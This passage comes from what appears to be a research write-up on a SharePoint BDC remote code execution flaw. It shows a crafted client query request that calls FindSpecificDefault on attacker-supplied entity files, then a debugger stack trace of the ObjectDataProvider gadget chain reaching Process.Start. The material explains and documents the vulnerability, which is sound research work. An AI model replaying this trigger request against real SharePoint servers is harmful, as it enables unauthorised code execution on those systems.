QUEifQ.
Content-Type: text/xml
X-RequestDigest: 0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000
Content-Length: 739
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="BDC"><Actions><ObjectPath Id="2" ObjectPathId="1" /><ObjectPath Id="4" ObjectPathId="3" /><ObjectPath Id="6" ObjectPathId="5" /><Method Name="FindSpecificDefault" Id="7" ObjectPathId="1"><Parameters><Parameter ObjectPathId="5" /><Parameter ObjectPathId="3" /></Parameters></Method></Actions><ObjectPaths><Identity Id="1" Name="4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:RCEE950d65,GadgetRCE" /><Identity Id="3" Name="4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:RCE950d65,RCEI950d65" /><Identity Id="5" Name="4da630b6-36c5-4f55-8e01-5cd40e96104d:identity:iAQAAAA==" /></ObjectPaths></Request>
If we attach a debugger, we can inspect the call stack at the point that RCE has been achieved. Note that the call from FindSpecificDefault will trigger CreateDefaultInstanceInternal which in turn will trigger the ObjectDataProvider chain and ultimately Process.Start.
> System.dll!System.Diagnostics.Process.Start() (IL=0x0000, Native=0x00007FFC76E06500+0x31)
[Native to Managed Transition]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL=epilog, Native=0x00007FFC6E97DFE0+0x7A)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC6E97D810+0xE7)
mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x073D, Native=0x00007FFC71FDD820+0xC6D)
mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC71FDD7C0+0x3D)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x00007FFC76E05E80+0x140)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x00007FFC76E04C30+0x1AF)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x00007FFC76E00490+0x1C1)
WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x00007FFC74792B30+0x36)
PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.ObjectInstance.set(object value) (IL=0x0078, Native=0x00007FFC76E05900+0x178)
[Native to Managed Transition]
mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x0016, Native=0x00007FFC6E97DFE0+0xDD)
mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL=epilog, Native=0x00007FFC6E97D810+0xE7)
mscorlib.dll!System.Reflection.RuntimePropertyInfo.SetValue(object obj, object value, object[] index) (IL=epilog, Native=0x00007FFC720310B0+0x22)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.SetValueOnInstanceUsingChildTypeDescriptor(object instance, object value, Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor) (IL≈0x084C, Native=0x00007FFC769B0E60+0xBC9)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.Instantiate(Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor, Microsoft.BusinessData.MetadataModel.IMethodInstance methodInstance, uint level) (IL≈0x0581, Native=0x00007FFC769AE060+0xB37)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Infrastructure.DotNetTypeReflector.Instantiate(Microsoft.BusinessData.MetadataModel.ITypeDescriptor typeDescriptor, Microsoft.BusinessData.MetadataModel.IMethodInstance methodInstance) (IL≈0x0042, Native=0x00007FFC769ADED0+0x8E)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.ParameterRuntime.CreateDefaultInstanceInternal(Microsoft.BusinessData.MetadataModel.IParameter thisParameter, Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance) (IL=epilog, Native=0x00007FFC769ADE00+0xA9)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Parameter.Microsoft.SharePoint.BusinessData.MetadataModel.IParameterInternal.CreateDefaultInstanceInternal(Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance) (IL=epilog, Native=0x00007FFC769ADC20+0x3C)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.MethodRuntime.CreateDefaultParameterInstancesInternal(Microsoft.BusinessData.MetadataModel.IMethod thisMethod, Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance, Microsoft.BusinessData.MetadataModel.Collections.IParameterCollection parameters) (IL≈0x0052, Native=0x00007FFC769AD860+0x175)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Method.Microsoft.SharePoint.BusinessData.MetadataModel.IMethodInternal.CreateDefaultParameterInstancesInternal(Microsoft.BusinessData.MetadataModel.IMethodInstance forMethodInstance, Microsoft.BusinessData.MetadataModel.Collections.IParameterCollection nonReturnParameters) (IL=epilog, Native=0x00007FFC769AD7F0+0x43)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity thisEntity, Microsoft.BusinessData.Runtime.Identity entityInstanceIdentity, string specificFinderName, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance) (IL≈0x012C, Native=0x00007FFC769AC770+0x1DA)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity thisEntity, Microsoft.BusinessData.Runtime.Identity entityInstanceIdentity, string specificFinderName, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode mode) (IL≈0x007D, Native=0x00007FFC769ABB70+0x10E)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity @this, Microsoft.BusinessData.Runtime.Identity identifierValue, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode operationMode, bool readNow) (IL=epilog, Native=0x00007FFC769AA7E0+0x7F)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.Runtime.EntityRuntime.FindSpecific(Microsoft.BusinessData.MetadataModel.IEntity @this, Microsoft.BusinessData.Runtime.Identity identifierValue, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance, Microsoft.BusinessData.Runtime.OperationMode operationMode) (IL=epilog, Native=0x00007FFC769AA7A0+0x1B)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.Dynamic.Entity.FindSpecific(Microsoft.BusinessData.Runtime.Identity identity, Microsoft.BusinessData.MetadataModel.ILobSystemInstance lobSystemInstance) (IL=epilog, Native=0x00007FFC769AA4C0+0x54)
Microsoft.SharePoint.dll!Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.Entity.FindSpecificDefault(Microsoft.BusinessData.Runtime.Identity identity, Microsoft.SharePoint.BusinessData.MetadataModel.ClientOM.LobSystemInstance lobSystemInstance) (IL≈0x0029, Native=0x00007FFC769A9FC0+0x87)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ServerStub.InvokeMethodWithMonitoredScope(object target, string methodName, System.Xml.XmlNodeList args, Microsoft.SharePoint.Client.ProxyContext proxyContext, out bool isVoid) (IL≈0x004D, Native=0x00007FFC769A4B30+0xCB)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.InvokeMethod(object obj, string methodName, System.Xml.XmlNodeList xmlargs, out bool isVoid) (IL≈0x0000, Native=0x00007FFC769A4A50+0x50)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.ProcessMethod(System.Xml.XmlElement xe) (IL≈0x0076, Native=0x00007FFC769A4780+0x152)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.ProcessStatements(System.Xml.XmlNode xe) (IL=0x0032, Native=0x00007FFC76970D00+0xC6)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientMethodsProcessor.Process() (IL=0x0104, Native=0x00007FFC7696F3A0+0x29C)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientRequestServiceImpl.ProcessQuery(System.IO.Stream inputStream, System.Collections.Generic.IList<System.IDisposable> pendingDisposableContainer) (IL≈0x01DF, Native=0x00007FFC7696C930+0x662)
Microsoft.SharePoint.Client.ServerRuntime.dll!Microsoft.SharePoint.Client.ClientRequestService.ProcessQuery(System.IO.Stream inputStream) (IL=epilog, Native=0x00007FFC7696C870+0x74)
